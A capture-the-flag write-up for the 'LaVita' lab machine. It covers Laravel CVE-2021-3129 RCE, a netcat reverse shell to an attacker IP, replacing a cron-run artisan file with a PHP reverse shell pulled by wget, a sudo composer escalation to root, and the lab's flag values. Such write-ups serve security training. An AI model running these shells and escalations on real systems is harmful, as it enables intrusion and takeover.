LaVita_writeup
Author: Hans
Platform: PG Practice
Difficulty: N/A
Operating System: Linux
Summary
LaVita runs a Laravel 8.4.0 application vulnerable to CVE-2021-3129, an unauthenticated RCE that requires the app's APP_DEBUG setting to be enabled (visible via a "Dashboard Testing Area" after registering an account). This gave a shell as www-data, from which local.txt was directly readable in another user's home directory. A cron job running every minute executes artisan, a PHP file owned by www-data, as the user skunk — replacing it with a PHP reverse shell gave a shell as skunk. skunk had passwordless sudo rights to run composer against the app directory, which was abused via a GTFOBins technique (a malicious composer.json script) to get a root shell.
Service Enumeration
Nmap
nmap -sCV -oN scans/tcp.nmap $IP
sudo nmap -sU --top-ports 20 -oN scans/udp.nmap $IP
nmap -sCV -oN scans/tcp.nmap $IP
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-24 14:03 +0800
Nmap scan report for 192.168.198.38
Host is up (0.0061s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
| ssh-hostkey:
| 3072 c9:c3:da:15:28:3b:f1:f8:9a:36:df:4d:36:6b:a7:44 (RSA)
| 256 26:03:2b:f6:da:90:1d:1b:ec:8d:8f:8d:1e:7e:3d:6b (ECDSA)
|_ 256 fb:43:b2:b0:19:2f:d3:f6:bc:aa:60:67:ab:c1:af:37 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: W3.CSS Template
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.32 seconds
sudo nmap -sU --top-ports 20 -oN scans/udp.nmap $IP
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-24 14:03 +0800
Nmap scan report for 192.168.198.38
Host is up (0.0071s latency).
PORT STATE SERVICE
53/udp closed domain
67/udp closed dhcps
68/udp closed dhcpc
69/udp closed tftp
123/udp closed ntp
135/udp closed msrpc
137/udp closed netbios-ns
138/udp closed netbios-dgm
139/udp closed netbios-ssn
161/udp closed snmp
162/udp closed snmptrap
445/udp closed microsoft-ds
500/udp closed isakmp
514/udp closed syslog
520/udp closed route
631/udp closed ipp
1434/udp closed ms-sql-m
1900/udp closed upnp
4500/udp closed nat-t-ike
49152/udp closed unknown
Nmap done: 1 IP address (1 host up) scanned in 20.08 seconds
Open ports: 22 (OpenSSH 8.4p1 Debian), 80 (Apache 2.4.56, "W3.CSS Template"). UDP scan returned all closed, nothing open.
Web (80)
Main page:

Login and register pages:


After registering an account:

A form on the main page, when submitted, led to a 404 page that revealed Laravel 8.4.0:


Searching for a Laravel RCE turned up CVE-2021-3129, which requires the app's APP_DEBUG configuration to be true. This matched an APP_DEBUG setting visible in the registered account's "Dashboard Testing Area".
A feroxbuster directory scan was run in the background as a fallback and not otherwise needed:
feroxbuster -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -o scans/ferox.md
Initial Access - Laravel Debug Mode RCE (CVE-2021-3129)
git clone https://github.com/joshuavanderpoll/CVE-2021-3129.git
cd CVE-2021-3129
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
After enabling APP_DEBUG in the app's dashboard, the exploit succeeded:


Several reverse shell payloads through the exploit's command execution failed to persist. The one that worked was:
nc 192.168.45.232 1234 -e /bin/bash


Stabilized the shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
then stty raw -echo; fg on the attacking machine and export TERM=xterm in the shell.
The resulting shell was www-data. local.txt was directly readable under another user's home directory (skunk):
cd /home
whoami && hostname && cat skunk/local.txt

Privilege Escalation
www-data to skunk - Cron Job Running artisan
Manual low-hanging-fruit checks (sudo -l, cron, SUID/SGID binaries, listening services, /etc/passwd, /opt, /var/backups) didn't immediately turn up a path. Uploaded and ran linpeas, which listed several SGID binaries but nothing directly exploitable.
Ran pspy to catch cron activity that ps aux would miss:
pyhttp 80
wget http://192.168.45.232/linpeas.sh
pspy showed a cron running every minute as skunk (UID 1001):
UID=1001 PID=49017 | /usr/bin/php /var/www/html/lavita/artisan clear:pictures
UID=1001 PID=49024 | rm -Rf /var/www/html/lavita/public/images/*
artisan is a PHP file owned by www-data:
ls -al /var/www/html/lavita/artisan
Since www-data can write to it, it was backed up and swapped for the PentestMonkey PHP reverse shell (pointed at a fresh port, since 1234 was already in use):
cp artisan artisan.bak
wget http://192.168.45.232/shell.php -O artisan


Started a listener and waited for the next cron run:

Stabilized the same way as before (pty.spawn, stty raw -echo; fg, export TERM=xterm).
skunk to root - sudo composer GTFOBins
sudo -l
User skunk may run the following commands on debian:
(ALL : ALL) ALL
(root) NOPASSWD: /usr/bin/composer --working-dir=/var/www/html/lavita *
GTFOBins documents an escalation technique for composer via a malicious composer.json script. Backed up the existing file, then wrote a replacement:
cp composer.json composer.json.bak
echo '{"scripts":{"x":"/bin/sh"}}' >composer.json
Ran it via the passwordless sudo rule:
sudo /usr/bin/composer --working-dir=/var/www/html/lavita run-script x
proof.txt found under /root:
whoami && hostname && cat /root/proof.txt

Flags
| Flag | Value |
|---|---|
| local.txt | 7f487edc0c6e0e33b488cdf70362602d |
| proof.txt | 75b2a092ba1ecadc43a5bfe1ba80d64e |